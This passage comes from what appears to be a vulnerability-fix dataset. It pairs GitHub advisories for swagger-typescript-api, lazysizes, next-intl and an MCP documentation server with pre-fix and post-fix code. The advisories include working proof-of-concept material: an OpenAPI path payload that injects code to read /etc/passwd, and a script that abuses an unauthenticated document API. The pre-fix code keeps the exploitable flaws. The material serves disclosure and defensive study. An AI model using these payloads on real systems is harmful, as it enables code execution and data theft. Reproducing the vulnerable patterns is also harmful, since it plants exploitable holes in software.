spec.\n- A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.\n- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.\n- Any project where a contributor can modify the pinned spec via pull request.\n\n**Lifecycle:** the injected expression fires **per method call** — every time a consumer invokes the affected generated method, the path template literal is evaluated and the IIFE runs. Lower severity than module-load sinks because the consumer must actually use the affected method, but this is the entire purpose of a generated API client; any non-trivial use of the client triggers it. Affects both `httpClientType: \"fetch\"` (default) and `httpClientType: \"axios\"`, both `default/` and `modular/` template sets — any path-bearing operation in the spec is a candidate.\n\n**Privilege:** the IIFE runs with the full privileges of the calling process — file read/write, network egress, environment access, child-process spawn, etc.\n\n**Suggested fix:** sanitize the path string after `parseRouteName` finishes its `{x}` / `:x` rewrites but before it is interpolated into the template literal. The path should only contain literal URL characters plus the `${name}` interpolations that `parseRouteName` deliberately introduces — any backtick, `${`, or `\\` outside those deliberate interpolations should be escaped or rejected. Alternatively, change `templates/default/procedure-call.ejs:96` (and `templates/modular/procedure-call.ejs:96`) to stop wrapping `path` in a backtick literal: emit a string concatenation instead, where path-param substitution is explicit and the rest of the path is treated as inert string data.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)" +commit = "306d59acb8ffbb00f953f807b97234b21f51d9de" +cwe = "CWE-1336" +family = "injection" +function = "warmUpRemoteSchemasCache" +function_lines = [[399, 446]] +id = "acacode-swagger-typescript-api-c4257c99ff0cfe5f" +language = "typescript" +method = "fix_site" +parent = "de76b586072c1723c6749b177d648e11363ef19a" +path = "src/resolved-swagger-schema.ts" +post_fix = " private async warmUpRemoteSchemasCache() {\n if (\n typeof this.config.url !== \"string\" ||\n !this.isHttpUrl(this.config.url)\n ) {\n return;\n }\n\n const visited = new Set();\n const queue = [this.stripHash(this.config.url)];\n\n while (queue.length > 0) {\n const currentUrl = queue.shift();\n if (!currentUrl || visited.has(currentUrl)) {\n continue;\n }\n visited.add(currentUrl);\n\n if (this.externalSchemaCache.has(currentUrl)) {\n continue;\n }\n\n const schema = await this.fetchRemoteSchemaDocument(currentUrl);\n if (!schema) {\n continue;\n }\n\n this.externalSchemaCache.set(currentUrl, schema);\n\n for (const ref of this.extractRefsFromSchema(schema)) {\n const normalizedRef = this.normalizeRef(ref);\n if (normalizedRef.startsWith(\"#\")) {\n continue;\n }\n\n const [externalPath = \"\"] = normalizedRef.split(\"#\");\n if (!externalPath) {\n continue;\n }\n\n const absoluteUrl = this.resolveAbsoluteUrl(externalPath, currentUrl);\n if (\n absoluteUrl &&\n !visited.has(absoluteUrl) &&\n (await isRemoteSchemaFetchAllowed(absoluteUrl, {\n specSourceUrl: this.config.url,\n }))\n ) {\n queue.push(absoluteUrl);\n }\n }\n }\n }\n" +pre_fix = " private async warmUpRemoteSchemasCache() {\n if (\n typeof this.config.url !== \"string\" ||\n !this.isHttpUrl(this.config.url)\n ) {\n return;\n }\n\n const visited = new Set();\n const queue = [this.stripHash(this.config.url)];\n\n while (queue.length > 0) {\n const currentUrl = queue.shift();\n if (!currentUrl || visited.has(currentUrl)) {\n continue;\n }\n visited.add(currentUrl);\n\n if (this.externalSchemaCache.has(currentUrl)) {\n continue;\n }\n\n const schema = await this.fetchRemoteSchemaDocument(currentUrl);\n if (!schema) {\n continue;\n }\n\n this.externalSchemaCache.set(currentUrl, schema);\n\n for (const ref of this.extractRefsFromSchema(schema)) {\n const normalizedRef = this.normalizeRef(ref);\n if (normalizedRef.startsWith(\"#\")) {\n continue;\n }\n\n const [externalPath = \"\"] = normalizedRef.split(\"#\");\n if (!externalPath) {\n continue;\n }\n\n const absoluteUrl = this.resolveAbsoluteUrl(externalPath, currentUrl);\n if (absoluteUrl && !visited.has(absoluteUrl)) {\n queue.push(absoluteUrl);\n }\n }\n }\n }\n" +repo = "acacode/swagger-typescript-api" +url = "https://github.com/acacode/swagger-typescript-api.git" + +[[case]] +advisory = "GHSA-w284-33mx-6g9v" +advisory_text = "swagger-typescript-api vulnerable to code injection via unescaped OpenAPI path strings in generated method bodies\n\n### Summary\n\n`swagger-typescript-api` interpolates OpenAPI path strings (the keys of the `paths` object, e.g. `/users/{id}`) directly into a JavaScript template literal inside the body of every generated API method, without escaping. A spec path containing `${ … }` survives `parseRouteName`'s `{x}` / `:x` rewriter verbatim and lands as live JS-template-literal interpolation inside the generated `path: \\`...\\`` line. Any consumer who calls the affected generated method evaluates the attacker's expression with full importer privileges — file read/write, exfiltration, etc. The attacker controls the OpenAPI spec (remote URL, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and uses the resulting client.\n\n### Details\n\n`parseRouteName` (`src/schema-routes/schema-routes.ts:147-189`) preprocesses spec paths by rewriting `{x}` and `:x` path-parameter patterns into `${x}` JS template-literal interpolations:\n\n```ts\nconst pathParamMatches = (routeName || \"\").match(\n /({[\\w[\\\\\\]^`][-_.\\w]*})|(:[\\w[\\\\\\]^`][-_.\\w]*:?)/g,\n);\n// ...\nreturn fixedRoute.replace(pathParam.$match, `\\${${insertion}}`);\n```\n\nThe regex only matches `{` followed by word characters (and a closing `}`), or `:` followed by word characters. **It does not strip backticks, `${`, or backslashes.** A spec path containing `${ ATTACKER_EXPRESSION }` survives unchanged.\n\nThe resulting `fixedRoute` is passed to the procedure-call template at `templates/default/procedure-call.ejs:96` (and the corresponding `templates/modular/procedure-call.ejs:96`):\n\n```ejs\npath: `<%~ path %>`,\n```\n\nThe `<%~ %>` is Eta's raw, unescaped interpolation. The surrounding backticks make this a JavaScript template literal in the generated source. Anything resembling `${…}` inside the path becomes a live JS expression evaluated when the method's `path` template is evaluated — i.e. at every call to the affected method.\n\nGenerated method body for a malicious spec path:\n\n```ts\nevilCall: (params: RequestParams = {}) =>\n this.request({\n path: `/api/${(async () => {\n // ATTACKER CODE EVALUATED HERE on every call to api.<...>.evilCall()\n // — full Node.js capabilities: dynamic import('node:fs'), child_process,\n // network egress, environment access, etc.\n })()}/items`,\n method: \"GET\",\n ...params,\n }),\n```\n\nBiome (the codebase's formatter) pretty-prints this multi-line, confirming the output parses as valid TypeScript. esbuild bundles it cleanly.\n\n**Caveat for PoC construction:** the path-param regex matches `:x`, so a literal `:` followed by a word character inside the spec path gets mangled into `${x}`. This affects payloads that need to express `node:fs`. The workaround used in the PoC is `Buffer.from('bm9kZTpmcw==','base64').toString()` — base64 contains no `:`, decodes to `'node:fs'` at runtime, and dodges the rewrite entirely.\n\n### PoC\n\nSelf-contained reproducer (`run.sh` runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → instantiate → call method with stubbed `this.request` so there is no real network egress → check canary) is added in comments. Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Malicious OpenAPI path** (literal string, JSON-encoded in the spec below):\n\n```\n/api/${(async()=>{ try { const m=Buffer.from('bm9kZTpmcw==','base64').toString(); const f=await import(m); const d=f.readFileSync('/etc/passwd','utf8'); f.writeFileSync('/tmp/sta_canary',d); } catch(e){} return 'x'; })()}/items\n```\n\n**Minimal payload spec:**\n\n```json\n{\n \"openapi\": \"3.0.0\",\n \"info\": { \"title\": \"PathPayloadAPI\", \"version\": \"1.0.0\" },\n \"servers\": [{ \"url\": \"https://api.example.com\" }],\n \"paths\": {\n \"/api/${(async()=>{try{const m=Buffer.from('bm9kZTpmcw==','base64').toString();const f=await import(m);const d=f.readFileSync('/etc/passwd','utf8');f.writeFileSync('/tmp/sta_canary',d);}catch(e){}return 'x';})()}/items\": {\n \"get\": {\n \"operationId\": \"evilCall\",\n \"responses\": { \"200\": { \"description\": \"OK\" } }\n }\n }\n }\n}\n```\n\n**Steps:**\n\n```bash\nnpm install swagger-typescript-api@13.12.1 esbuild\nnode -e \"import('swagger-typescript-api').then(m => m.generateApi({\n name: 'Api.ts', output: process.cwd() + '/out',\n input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'\n}))\"\nnpx esbuild out/Api.ts --bundle --format=esm --platform=node \\\n --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs\nrm -f /tmp/sta_canary\nnode --input-type=module -e \"\n const mod = await import('./out/Api.bundle.mjs');\n const api = new mod.Api();\n // Stub the request implementation so there is no real network call —\n // only the path template literal is evaluated, which is what fires the IIFE.\n api.request = async () => ({ ok: true });\n const group = api.api;\n await group[Object.keys(group)[0]]();\n await new Promise(r => setTimeout(r, 300));\n\"\nls -la /tmp/sta_canary && cat /tmp/sta_canary\n```\n\n**Generated `out/Api.ts` (method body — payload, Biome-formatted):**\n\n```ts\nevilCall: (params: RequestParams = {}) =>\n this.request({\n path: `/api/${(async () => {\n try {\n const m = Buffer.from(\"bm9kZTpmcw==\", \"base64\").toString();\n const f = await import(m);\n const d = f.readFileSync(\"/etc/passwd\", \"utf8\");\n f.writeFileSync(\"/tmp/sta_canary\", d);\n } catch (e) {}\n return \"x\";\n })()}/items`,\n method: \"GET\",\n ...params,\n }),\n```\n\nThe IIFE is a real JavaScript expression inside the `path` template literal — Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed.\n\n**Result:** after instantiating the generated `Api` and calling the affected method, `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (path `\"/api/users/{id}/items\"`) generates `path: \\`/api/users/${id}/items\\``, the IIFE never appears, and the canary is not written.\n\n### Impact\n\n**Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).\n\n**Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` against an OpenAPI spec they did not author entirely:\n\n- `sta generate --url https://attacker.example/openapi.json` — a public, third-party, or attacker-hosted spec.\n- A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.\n- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.\n- Any project where a contributor can modify the pinned spec via pull request.\n\n**Lifecycle:** the injected expression fires **per method call** — every time a consumer invokes the affected generated method, the path template literal is evaluated and the IIFE runs. Lower severity than module-load sinks because the consumer must actually use the affected method, but this is the entire purpose of a generated API client; any non-trivial use of the client triggers it. Affects both `httpClientType: \"fetch\"` (default) and `httpClientType: \"axios\"`, both `default/` and `modular/` template sets — any path-bearing operation in the spec is a candidate.\n\n**Privilege:** the IIFE runs with the full privileges of the calling process — file read/write, network egress, environment access, child-process spawn, etc.\n\n**Suggested fix:** sanitize the path string after `parseRouteName` finishes its `{x}` / `:x` rewrites but before it is interpolated into the template literal. The path should only contain literal URL characters plus the `${name}` interpolations that `parseRouteName` deliberately introduces — any backtick, `${`, or `\\` outside those deliberate interpolations should be escaped or rejected. Alternatively, change `templates/default/procedure-call.ejs:96` (and `templates/modular/procedure-call.ejs:96`) to stop wrapping `path` in a backtick literal: emit a string concatenation instead, where path-param substitution is explicit and the rest of the path is treated as inert string data.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)" +commit = "306d59acb8ffbb00f953f807b97234b21f51d9de" +cwe = "CWE-1336" +family = "injection" +function = "create" +function_lines = [[904, 975]] +id = "acacode-swagger-typescript-api-e64e7a7e89c832b6" +language = "typescript" +method = "fix_site" +parent = "de76b586072c1723c6749b177d648e11363ef19a" +path = "src/resolved-swagger-schema.ts" +post_fix = " static async create(\n config: CodeGenConfig,\n usageSchema: OpenAPI.Document,\n originalSchema: OpenAPI.Document,\n originalProducesByRoute?: Record>,\n ) {\n const resolvers: Awaited>[] = [];\n\n const options: SwaggerParser.Options = {\n continueOnError: true,\n mutateInputSchema: true,\n dereference: {},\n validate: {\n schema: false,\n spec: false,\n },\n resolve: {\n external: true,\n http: {\n ...config.requestOptions,\n headers: config.requestOptions?.headers ?? {},\n },\n },\n };\n\n try {\n resolvers.push(\n await SwaggerParser.resolve(\n originalSchema,\n // this.config.url || this.config.input || (this.config.spec as any),\n options,\n ),\n );\n } catch (e) {\n consola.debug(e);\n }\n try {\n resolvers.push(await SwaggerParser.resolve(usageSchema, options));\n } catch (e) {\n consola.debug(e);\n }\n try {\n resolvers.push(\n await SwaggerParser.resolve(\n config.url || config.input || (config.spec as OpenAPI.Document),\n options,\n ),\n );\n } catch (e) {\n consola.debug(e);\n }\n\n const resolvedSwaggerSchema = new ResolvedSwaggerSchema(\n config,\n usageSchema,\n originalSchema,\n resolvers,\n originalProducesByRoute,\n );\n\n await resolvedSwaggerSchema.warmUpRemoteSchemasCache();\n\n return resolvedSwaggerSchema;\n }" +pre_fix = " static async create(\n config: CodeGenConfig,\n usageSchema: OpenAPI.Document,\n originalSchema: OpenAPI.Document,\n originalProducesByRoute?: Record>,\n ) {\n const resolvers: Awaited>[] = [];\n\n const options: SwaggerParser.Options = {\n continueOnError: true,\n mutateInputSchema: true,\n dereference: {},\n validate: {\n schema: false,\n spec: false,\n },\n resolve: {\n external: true,\n http: {\n ...config.requestOptions,\n headers: Object.assign(\n {},\n config.authorizationToken\n ? {\n Authorization: config.authorizationToken,\n }\n : {},\n config.requestOptions?.headers ?? {},\n ),\n },\n },\n };\n\n try {\n resolvers.push(\n await SwaggerParser.resolve(\n originalSchema,\n // this.config.url || this.config.input || (this.config.spec as any),\n options,\n ),\n );\n } catch (e) {\n consola.debug(e);\n }\n try {\n resolvers.push(await SwaggerParser.resolve(usageSchema, options));\n } catch (e) {\n consola.debug(e);\n }\n try {\n resolvers.push(\n await SwaggerParser.resolve(\n config.url || config.input || (config.spec as OpenAPI.Document),\n options,\n ),\n );\n } catch (e) {\n consola.debug(e);\n }\n\n const resolvedSwaggerSchema = new ResolvedSwaggerSchema(\n config,\n usageSchema,\n originalSchema,\n resolvers,\n originalProducesByRoute,\n );\n\n await resolvedSwaggerSchema.warmUpRemoteSchemasCache();\n\n return resolvedSwaggerSchema;\n }" +repo = "acacode/swagger-typescript-api" +url = "https://github.com/acacode/swagger-typescript-api.git" + +[[case]] +advisory = "GHSA-hg2p-2cvq-4ppv" +advisory_text = "Cross-site scripting in lazysizes\n\nlazysizes through 5.2.0 allows execution of malicious JavaScript. The following attributes are not sanitized by the video-embed plugin: `data-vimeo`, `data-vimeoparams`, `data-youtube` and `data-ytparams` which can be abused to inject malicious JavaScript." +commit = "3720ab8262552d4e063a38d8492f9490a231fd48" +cwe = "CWE-79" +family = "output_encoding" +function = "embedVimeoIframe" +function_lines = [[62, 79]] +id = "afarkas-lazysizes-7b62735d3e5d1714" +language = "javascript" +method = "fix_site" +parent = "a2f37ec2371bff523ea8b94800682e4ec3596b9b" +path = "plugins/video-embed/ls.video-embed.js" +post_fix = "\tfunction embedVimeoIframe(e){\n\t\tvar elem = e.currentTarget;\n\t\tvar id = elem.getAttribute('data-vimeo');\n\t\tvar vimeoParams = elem.getAttribute('data-vimeoparams') || '';\n\n\t\telem.removeEventListener('click', embedVimeoIframe);\n\n\t\tif (!id || !regValidParam.test(id) || (vimeoParams && !regValidParam.test(vimeoParams))) {\n\t\t\treturn;\n\t\t}\n\n\t\tif(vimeoParams && !regAmp.test(vimeoParams)){\n\t\t\tvimeoParams = '&'+ vimeoParams;\n\t\t}\n\n\t\te.preventDefault();\n\n\t\telem.innerHTML = ''\n\t\t;\n\n\t}\n" +pre_fix = "\tfunction embedVimeoIframe(e){\n\t\tvar elem = e.currentTarget;\n\t\tvar id = elem.getAttribute('data-vimeo');\n\t\tvar vimeoParams = elem.getAttribute('data-vimeoparams') || '';\n\n\t\tif(vimeoParams && !regAmp.test(vimeoParams)){\n\t\t\tvimeoParams = '&'+ vimeoParams;\n\t\t}\n\n\t\te.preventDefault();\n\n\t\telem.innerHTML = ''\n\t\t;\n\n\t\telem.removeEventListener('click', embedVimeoIframe);\n\t}\n" +repo = "afarkas/lazysizes" +url = "https://github.com/aFarkas/lazysizes.git" + +[[case]] +advisory = "GHSA-hg2p-2cvq-4ppv" +advisory_text = "Cross-site scripting in lazysizes\n\nlazysizes through 5.2.0 allows execution of malicious JavaScript. The following attributes are not sanitized by the video-embed plugin: `data-vimeo`, `data-vimeoparams`, `data-youtube` and `data-ytparams` which can be abused to inject malicious JavaScript." +commit = "3720ab8262552d4e063a38d8492f9490a231fd48" +cwe = "CWE-79" +family = "output_encoding" +function = "embedYoutubeIframe" +function_lines = [[87, 119]] +id = "afarkas-lazysizes-99fc6cf6e6f1f846" +language = "javascript" +method = "fix_site" +parent = "a2f37ec2371bff523ea8b94800682e4ec3596b9b" +path = "plugins/video-embed/ls.video-embed.js" +post_fix = "\tfunction embedYoutubeIframe(e){\n\t\tvar elem = e.currentTarget;\n\t\tvar id = elem.getAttribute('data-youtube');\n\t\tvar youtubeParams = elem.getAttribute('data-ytparams') || '';\n\n\t\telem.removeEventListener('click', embedYoutubeIframe);\n\n\t\tif (!id || !regValidParam.test(id) || (youtubeParams && !regValidParam.test(youtubeParams))) {\n\t\t\treturn;\n\t\t}\n\n\t\tif(youtubeParams && !regAmp.test(youtubeParams)){\n\t\t\tyoutubeParams = '&'+ youtubeParams;\n\t\t}\n\n\t\te.preventDefault();\n\n\t\telem.innerHTML = ''\n\t\t;\n\t}\n\n\tdocument.addEventListener('lazybeforeunveil', function(e){\n\t\tif(e.detail.instance != lazySizes){return;}\n\n\t\tvar elem = e.target;\n\t\tvar youtube = elem.getAttribute('data-youtube');\n\t\tvar vimeo = elem.getAttribute('data-vimeo');\n\n\t\tif(youtube && elem){\n\t\t\tembedYoutubeImg(youtube, elem);\n\t\t}\n\t\tif(vimeo && elem){\n\t\t\tembedVimeoImg(vimeo, elem);\n\t\t}\n\t});\n}));" +pre_fix = "\tfunction embedYoutubeIframe(e){\n\t\tvar elem = e.currentTarget;\n\t\tvar id = elem.getAttribute('data-youtube');\n\t\tvar youtubeParams = elem.getAttribute('data-ytparams') || '';\n\n\t\tif(youtubeParams && !regAmp.test(youtubeParams)){\n\t\t\tyoutubeParams = '&'+ youtubeParams;\n\t\t}\n\n\t\te.preventDefault();\n\n\t\telem.innerHTML = ''\n\t\t;\n\n\t\telem.removeEventListener('click', embedYoutubeIframe);\n\t}\n\n\tdocument.addEventListener('lazybeforeunveil', function(e){\n\t\tif(e.detail.instance != lazySizes){return;}\n\n\t\tvar elem = e.target;\n\t\tvar youtube = elem.getAttribute('data-youtube');\n\t\tvar vimeo = elem.getAttribute('data-vimeo');\n\n\t\tif(youtube && elem){\n\t\t\tembedYoutubeImg(youtube, elem);\n\t\t}\n\t\tif(vimeo && elem){\n\t\t\tembedVimeoImg(vimeo, elem);\n\t\t}\n\t});\n}));" +repo = "afarkas/lazysizes" +url = "https://github.com/aFarkas/lazysizes.git" + +[[case]] +advisory = "GHSA-8f24-v5vv-gm5j" +advisory_text = "next-intl has an open redirect vulnerability\n\n### Impact\n\nApplications using the `next-intl` middleware with `localePrefix: 'as-needed'` could construct URLs where path handling and the WHATWG URL parser resolved a relative redirect target to another host (e.g. scheme-relative `//` or control characters stripped by the URL parser), so the middleware could redirect the browser off-site while the user still started from a trusted app URL.\n\n### Patches\n\nThe problem has been patched, please update to [`next-intl@4.9.1`](https://github.com/amannn/next-intl/releases/tag/v4.9.1).\n\n### Credits\n\nMany thanks to [Joni Liljeblad](https://github.com/joniumGit) from [Oura](https://ouraring.com) for responsibly disclosing the vulnerability and for suggesting the fix." +commit = "1c80b668aa6d853f470319eec10a3f61e78a70e6" +cwe = "CWE-601" +family = "untrusted_destination" +function = "sanitizePathname" +function_lines = [[323, 328]] +id = "amannn-next-intl-10fdf55408ba9a03" +language = "typescript" +method = "fix_site" +parent = "b65f8c4e88ad3f2ac8df3443b6cdd66c08c19e60" +path = "packages/next-intl/src/middleware/utils.tsx" +post_fix = "export function sanitizePathname(pathname: string) {\n // Sanitize malicious URIs, e.g.:\n // '/en/\\\\example.org' → '/en/%5Cexample.org' (backslash → %5C)\n // '/en/\\t/example.org' → '/en/example.org' (WHATWG-stripped TAB)\n // '/en/\\n/example.org' → '/en/example.org' (WHATWG-stripped LF)\n // '/en/\\r/example.org' → '/en/example.org' (WHATWG-stripped CR)\n // '/en////example.org' → '/en/example.org' (consecutive slashes)\n //\n // U+0009/000A/000D are silently stripped by the WHATWG URL parser\n // (https://url.spec.whatwg.org/#concept-url-parser). Without removing\n // them here, a decoded TAB in a segment separator position causes\n // new URL(\"/\\t/host\", base) to collapse to \"//host\" → open redirect.\n return pathname\n .replace(/\\\\/g, '%5C')\n .replace(/[\\t\\n\\r]/g, '')\n .replace(/\\/+/g, '/');\n}" +pre_fix = "export function sanitizePathname(pathname: string) {\n // Sanitize malicious URIs, e.g.:\n // '/en/\\\\example.org → /en/%5C%5Cexample.org'\n // '/en////example.org → /en/example.org'\n return pathname.replace(/\\\\/g, '%5C').replace(/\\/+/g, '/');\n}" +repo = "amannn/next-intl" +url = "https://github.com/amannn/next-intl.git" + +[[case]] +advisory = "GHSA-6f5r-5672-72j7" +advisory_text = "@andrea9293/mcp-documentation-server: Web UI API binds to all interfaces without authentication by default\n\n### Summary\n\n`@andrea9293/mcp-documentation-server` v1.13.0 documents that a Web UI starts automatically on port `3080`. However, the Web UI/API appears to bind to all network interfaces by default (`*:3080` / `0.0.0.0:3080`) instead of localhost-only, and its document-management API endpoints do not require authentication.\n\nAs a result, any network-reachable client on the same LAN, VM network, or container bridge can access the document-admin API without credentials. In my reproduction, I was able to enumerate documents, add a document, read its full content, search across the corpus, and delete the document through the host's LAN IP.\n\nThe issue is not that a Web UI exists. The issue is that a local document-management Web UI/API is exposed on all interfaces by default without authentication.\n\n### Details\n\nThe README documents that the Web UI starts automatically and tells users to open:\n\n```text\nhttp://localhost:3080\n```\n\nIt also documents `START_WEB_UI=true` and `WEB_PORT=3080` as the defaults.\n\nThe vulnerable behavior appears to come from starting the web server without binding it to localhost explicitly.\n\nIn `src/server.ts`, the Web UI is started unless `START_WEB_UI=false`:\n\n```ts\nif (process.env.START_WEB_UI !== 'false') {\n initializeDocumentManager().then(manager => {\n return startWebServer(undefined, manager);\n }).then(() => {\n console.error('[Server] Web UI started (port=' + (process.env.WEB_PORT || '3080') + ')');\n })...\n}\n```\n\nIn `src/web-server.ts`, the Express app appears to listen with only the port:\n\n```ts\nconst server = app.listen(PORT, () => {\n console.log(`\\n 🌐 MCP Documentation Server - Web UI`);\n console.log(` ────────────────────────────────────`);\n console.log(` Local: http://localhost:${PORT}`);\n console.log(` Network: http://0.0.0.0:${PORT}\\n`);\n});\n```\n\nWith Express/Node, `app.listen(PORT)` without a host argument binds to all interfaces. In my reproduction, this resulted in:\n\n```text\nLISTEN 0 511 *:3080 *:* users:((\"MainThread\",pid=1781375,fd=21))\n```\n\nThe exposed API includes document-admin operations such as:\n\n```text\nGET /api/documents\nGET /api/documents/:id\nPOST /api/documents\nPOST /api/search-all\nDELETE /api/documents/:id\nGET /api/config\n```\n\nI did not send any `Authorization` header in the PoC requests, and all tested operations succeeded.\n\n### PoC\n\nTested on v1.13.0.\n\n#### 1. Build from source\n\n```bash\ncd ~/Desktop\nmkdir -p docsrv_repro_from_scratch\ncd docsrv_repro_from_scratch\n\ngit clone https://github.com/andrea9293/mcp-documentation-server.git\ncd mcp-documentation-server\n\ngit rev-parse HEAD\nnpm install --no-audit --no-fund\nnpm run build\n\nls -l dist/server.js\nnode -p \"require('./package.json').version\"\n```\n\nExpected version:\n\n```text\n1.13.0\n```\n\n#### 2. Start the server with default Web UI behavior\n\nDo not set `START_WEB_UI=false`.\n\n```bash\nrm -rf /tmp/docsrv_base\nmkdir -p /tmp/docsrv_base\n\nMCP_BASE_DIR=/tmp/docsrv_base \\\nWEB_PORT=3080 \\\nnode dist/server.js \\\n /tmp/docsrv_stdout.log \\\n 2>/tmp/docsrv_stderr.log &\n\nDOCSRV_PID=$!\nsleep 5\n\necho \"DOCSRV_PID=$DOCSRV_PID\"\nps -p \"$DOCSRV_PID\" -o pid,stat,cmd\n```\n\n#### 3. Confirm that the Web UI/API binds to all interfaces\n\n```bash\nss -ltnp | grep ':3080' || true\n```\n\nObserved:\n\n```text\nLISTEN 0 511 *:3080 *:* users:((\"MainThread\",pid=1781375,fd=21))\n```\n\nThis indicates the service is not bound only to `127.0.0.1`.\n\n#### 4. Confirm that the API is reachable through the LAN IP\n\n```bash\nLAN_IP=$(hostname -I | awk '{print $1}')\necho \"LAN_IP=$LAN_IP\"\n\ncurl -sS --max-time 5 \"http://$LAN_IP:3080/api/config\"\necho\n```\n\nObserved:\n\n```text\nLAN_IP=10.0.250.230\n{\"gemini_available\":false,\"embedding_model\":\"Xenova/all-MiniLM-L6-v2\"}\n```\n\nNo authentication header was sent.\n\n#### 5. Full unauthenticated document-admin PoC\n\n```bash\ncat > /tmp/docsrv_unauth_poc.py <<'PY'\n#!/usr/bin/env python3\nimport json\nimport sys\nimport urllib.request\nimport urllib.error\n\nHOST = sys.argv[1] if len(sys.argv) > 1 else \"127.0.0.1\"\nPORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3080\nBASE = f\"http://{HOST}:{PORT}\"\n\ndef req(method, path, body=None):\n data = json.dumps(body).encode() if body is not None else None\n headers = {\"Content-Type\": \"application/json\"} if body is not None else {}\n r = urllib.request.Request(f\"{BASE}{path}\", data=data, method=method, headers=headers)\n with urllib.request.urlopen(r, timeout=10) as resp:\n raw = resp.read().decode()\n try:\n return resp.status, json.loads(raw or \"null\")\n except Exception:\n return resp.status, raw\n\ndef main():\n print(f\"[poc] target = {BASE}\")\n print(\"[poc] no Authorization header is sent\")\n\n status, config = req(\"GET\", \"/api/config\")\n print(f\"[0] config: HTTP {status}, {config}\")\n\n status, docs = req(\"GET\", \"/api/documents\")\n print(f\"[1] list documents: HTTP {status}, count={len(docs) if isinstance(docs, list) else 'unknown'}\")\n\n marker = \"ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\"\n body = {\n \"title\": \"network-inserted-test-document\",\n \"content\": marker + \"\\nThis document was inserted through the unauthenticated network API.\",\n \"metadata\": {\"source\": \"unauth-network-poc\"}\n }\n\n status, added = req(\"POST\", \"/api/documents\", body)\n print(f\"[2] add document: HTTP {status}, response={added}\")\n\n doc_id = None\n if isinstance(added, dict):\n doc_id = added.get(\"id\") or added.get(\"document\", {}).get(\"id\")\n\n if not doc_id:\n status, docs = req(\"GET\", \"/api/documents\")\n for d in docs:\n if d.get(\"title\") == \"network-inserted-test-document\":\n doc_id = d.get(\"id\")\n break\n\n if not doc_id:\n raise RuntimeError(\"could not locate inserted document id\")\n\n print(f\"[2] inserted id={doc_id}\")\n\n status, doc = req(\"GET\", f\"/api/documents/{doc_id}\")\n content = doc.get(\"content\", \"\") if isinstance(doc, dict) else str(doc)\n print(f\"[3] read document: HTTP {status}, marker_present={marker in content}\")\n\n status, hits = req(\"POST\", \"/api/search-all\", {\n \"query\": \"ATTACKER_CONTROLLED_DOCUMENT_MARKER network inserted\",\n \"limit\": 5\n })\n print(f\"[4] search-all: HTTP {status}, response_prefix={str(hits)[:300]!r}\")\n\n status, deleted = req(\"DELETE\", f\"/api/documents/{doc_id}\")\n print(f\"[5] delete document: HTTP {status}, response={deleted}\")\n\n print(\"[poc] DONE\")\n\nif __name__ == \"__main__\":\n main()\nPY\n\nchmod +x /tmp/docsrv_unauth_poc.py\n```\n\nRun against localhost:\n\n```bash\npython3 /tmp/docsrv_unauth_poc.py 127.0.0.1 3080\n```\n\nObserved:\n\n```text\n[poc] target = http://127.0.0.1:3080\n[poc] no Authorization header is sent\n[0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'}\n[1] list documents: HTTP 200, count=0\n[2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'}\n[2] inserted id=ef13280d7441d5bb\n[3] read document: HTTP 200, marker_present=True\n[4] search-all: HTTP 200, response_prefix=\"[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\\\nThis document was inserted through the unauthenticated network API.'}]\"\n[5] delete document: HTTP 200, response={'success': True, 'message': 'Document \"network-inserted-test-document\" deleted'}\n[poc] DONE\n```\n\nRun the same PoC against the host's LAN IP:\n\n```bash\nLAN_IP=$(hostname -I | awk '{print $1}')\npython3 /tmp/docsrv_unauth_poc.py \"$LAN_IP\" 3080\n```\n\nObserved:\n\n```text\n[poc] target = http://10.0.250.230:3080\n[poc] no Authorization header is sent\n[0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'}\n[1] list documents: HTTP 200, count=0\n[2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'}\n[2] inserted id=ef13280d7441d5bb\n[3] read document: HTTP 200, marker_present=True\n[4] search-all: HTTP 200, response_prefix=\"[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\\\nThis document was inserted through the unauthenticated network API.'}]\"\n[5] delete document: HTTP 200, response={'success': True, 'message': 'Document \"network-inserted-test-document\" deleted'}\n[poc] DONE\n```\n\n#### 6. Cleanup\n\n```bash\nkill \"$DOCSRV_PID\" 2>/dev/null || true\nfuser -k 3080/tcp 2>/dev/null || true\nrm -rf /tmp/docsrv_base\nrm -f /tmp/docsrv_unauth_poc.py\nrm -f /tmp/docsrv_stdout.log /tmp/docsrv_stderr.log\n```\n\n### Impact\n\nThis is a missing-authentication and unsafe-default network exposure issue for the Web UI/API.\n\nA network-reachable attacker can access the document-management API without credentials. Depending on what the user stores in the documentation server, this may allow:\n\n- reading document titles, previews, and full document contents;\n- searching across the entire document corpus;\n- inserting attacker-controlled documents into the corpus;\n- deleting documents;\n- tampering with the user's local knowledge base used by the MCP assistant.\n\nThis can affect users who run the MCP server on laptops, workstations, dev VMs, or hosts connected to shared networks, VPNs, Docker bridges, or other routable local networks.\n\nThis is not a claim for unauthenticated remote code execution. The issue is that the documented 